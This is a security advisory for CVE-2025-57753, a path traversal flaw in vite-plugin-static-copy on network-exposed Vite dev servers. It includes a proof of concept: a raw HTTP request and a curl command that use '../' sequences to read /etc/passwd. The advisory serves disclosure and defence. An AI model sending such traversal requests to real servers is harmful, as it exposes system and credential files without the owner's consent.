CVE-2025-57753
Summary
Files not included in src was possible to access with a crafted request.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Arbitrary files can be disclosed by exploiting this vulnerability.
Details
Consider the following configuration in used by vite.config.ts:
import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'
export default defineConfig({
plugins: [
viteStaticCopy({
targets: [
{
src: "./public/images",
dest: "./",
},
],
}),
],
});
The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.
PoC
I've attached a demo app to showcase the bug.
Run it with npm run dev and issue the following HTTP request
GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2
OR
curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: localhost:3001' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'http://localhost:3001/static/images/../../../../../../../etc/passwd'
Observe that the /etc/passwd file is included in the response.
